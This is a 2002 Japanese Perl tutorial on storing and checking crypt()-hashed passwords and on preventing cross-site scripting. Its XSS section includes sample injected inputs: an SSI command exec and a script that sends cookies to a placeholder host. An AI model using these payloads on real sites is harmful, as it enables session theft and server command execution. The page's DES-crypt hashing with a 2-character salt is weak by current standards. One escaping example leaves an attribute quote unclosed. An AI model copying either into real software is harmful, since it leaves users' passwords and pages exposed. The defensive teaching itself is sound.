セキュリティ

■ パスワードファイルを作成する(crypt)

◆ パスワードファイルの作成

ユーザーの認証を行う場合のパスワードをそのまま保存してしまうと危険です。ctypt() を用いることで、この危険性を減少することができます。

passwd.pl(1)
# ログイン名とパスワードを保存する
sub SetPassword {
    local($file, $login, $passwd) = @_;
    local(@abc) = ( "0".."9", "a".."z", "A".."Z", ".", "/" );
    local(*IN, $line, $login2, $passwd2, %PASSWD, $salt);

    # パスワードファイルを読み込む
    open(IN, $file);
    while ($line = <IN>) {
        $line =~ s/[\r\n]*$//;
        ($login2, $passwd2) = split(/:/, $line);
        $PASSWD{$login2} = $passwd2;
    }
    close(IN);

    # 新しいパスワードを追加(置換)する
    $salt = $abc[rand(64)] . $abc[rand(64)];   # ランダムな2文字
    $PASSWD{$login} = crypt($passwd, $salt);

    # パスワードファイルに書き込む
    open(OUT, "> $file");
    while (($login2, $passwd2) = each(%PASSWD)) {
        print OUT "$login2:$passwd2\n";
    }
    close(OUT);
}

これを例えば次のように呼び出します。passwd.txt はパスワードファイル名、tanaka や suzuki がログイン名で、hi.mi.tu や se.c.ret がパスワードです。

SetPassword("passwd.txt", "tanaka", "hi.mi.tu");
SetPassword("passwd.txt", "suzuki", "se.c.ret");

パスワードファイル(passwd.txt)には例えば次のように記録されます。

tanaka:iFB7Zqcx79W6Y
suzuki:.gqfuwqIDeqFM

■ パスワードファイルのエントリを削除する

◆ パスワードエントリの削除

パスワードファイルから該当エントリを削除するルーチンを紹介します。

passwd.pl(2)
sub DeletePassword {
    local($file, $login) = @_;
    local(*IN, $line, $login2, $passwd2, %PASSWD);

    # パスワードファイルを読み込む
    open(IN, $file);
    while ($line = <IN>) {
        $line =~ s/[\r\n]*$//;
        ($login2, $passwd2) = split(/:/, $line);
        $PASSWD{$login2} = $passwd2;
    }
    close(IN);

    # パスワードエントリを削除する
    delete $PASSWD{$login};

    # パスワードファイルに書き込む
    open(OUT, "> $file");
    while (($login2, $passwd2) = each(%PASSWD)) {
        print OUT "$login2:$passwd2\n";
    }
    close(OUT);
}
補足説明(1)

crypt() は、パスワード(例:hi.mi.tu)と2文字のランダムな種(例:iF)から、暗号化パスワード(例:iFB7Zqcx79W6Y)を生成します。暗号化パスワードの最初の 2文字は種と同じものになります。crypt() を用いて、hi.mi.tu と iF から iFB7Zqcx79W6Y を求めることは簡単にできますが、その逆はできません。これを非可逆変換とか、ハッシュ関数とか、一方向関数と呼んでいます。もし、パスワードファイルが盗まれても、暗号化パスワードから元のパスワードを求めることができないので、パスワードをそのまま保存しておくよりは安全になる訳です。

補足説明(2)

crypt() は通常 DES と呼ばれるアルゴリズムを用いますが、MD5 をサポートしている環境では、$salt に $1$+8文字以内のランダムな種(例:$1$abcdwxyz)を指定することにより、DES より高い安全性を確保することができます。

■ パスワードをチェックする

◆ パスワードのチェック

iFB7Zqcx79W6Y から hi.mi.tu を求めることはできませんが、ユーザが入力したパスワード hi.mi.tu と、iFB7Zqcx79W6Y の最初の 2文字(iF)から再度暗号化パスワードを求め、これが、記録していた暗号化パスワード(iFB7Zqcx79W6Y)と一致するかどうかで、パスワードが正しいかどうかをチェックすることができます。

passwd.pl(3)
# ログイン名とパスワードをチェックする
sub CheckPassword {
    local($file, $login, $passwd) = @_;
    local(*IN, $line, $login2, $passwd2, %PASSWD);

    # パスワードファイルを読み込む
    open(IN, $file);
    while ($line = <IN>) {
        $line =~ s/[\r\n]*$//;
        ($login2, $passwd2) = split(/:/, $line);
        $PASSWD{$login2} = $passwd2;
    }
    close(IN);

    # パスワードが正しいか確認(0:不正、1:正しい)
    if (defined($PASSWD{$login}) &&
        (crypt($passwd, $PASSWD{$login}) eq $PASSWD{$login})) {
        return 1;
    } else {
        return 0;
    }
}

呼び出し方法は下記の通りです。ログイン名とパスワードが正しいものであれば 1 を、さもなくば 0 を返します。

if (CheckPassword("passwd.txt", "tanaka", "ta.na.ka")) {
    print "正しいです。\n";
} else {
    print "不正です。\n";
}

■ クロスサイトスクリプティングに対応する

◆ クロスサイトスクリプティングとは

HTMLタグを許す掲示板などでは、誰かが悪意のあるタグ書き込みを行うことによってセキュリティ的な問題が発生することがあります。これらをクロスサイトスクリプティング脆弱性と呼びます。

◆ クロスサイトスクリプティングの実例

HTMLタグを使用可能な掲示板に下記のような文章を入力すると、次にその掲示板を開いたひとの画面に、変なダイアログが表示されてしまいます。

<script>alert("悪者参上")</script>

不適切な画像や、音楽を貼り付けられることもあります。

<img src="http://~/~/~.jpg">

サーバー側で危険な SSI/ASP/PHP コマンドを実行されてしまうこともあります。

<!--#exec cmd="/bin/ls"-->

ログイン名やパスワードを含む Cookie 情報が盗み出されることもあります。

<script>location.href = "http://~/~.cgi?" + document.cookie;</script>
◆ クロスサイトスクリプティングの防御法

ユーザが入力した文字列はそのまま表示せず、< や > をエスケープしてから表示するようにしましょう。value="..." の間ではダブルクォーテーション(")もエスケープする必要があるので注意してください。

print "<b>" . Html($FORM{WORD}) . "</b>\n";
print "<input type=\"text\" value=\"" . Html($FORM{WORD}) . ">\n";

sub Html {
    local($str) = @_;
    $str =~ s/&/&amp;/g;
    $str =~ s/</&lt;/g;
    $str =~ s/>/&gt;/g;
    $str =~ s/"/&quot;/g;
    return $str;
}

Copyright (C) 2002 杜甫々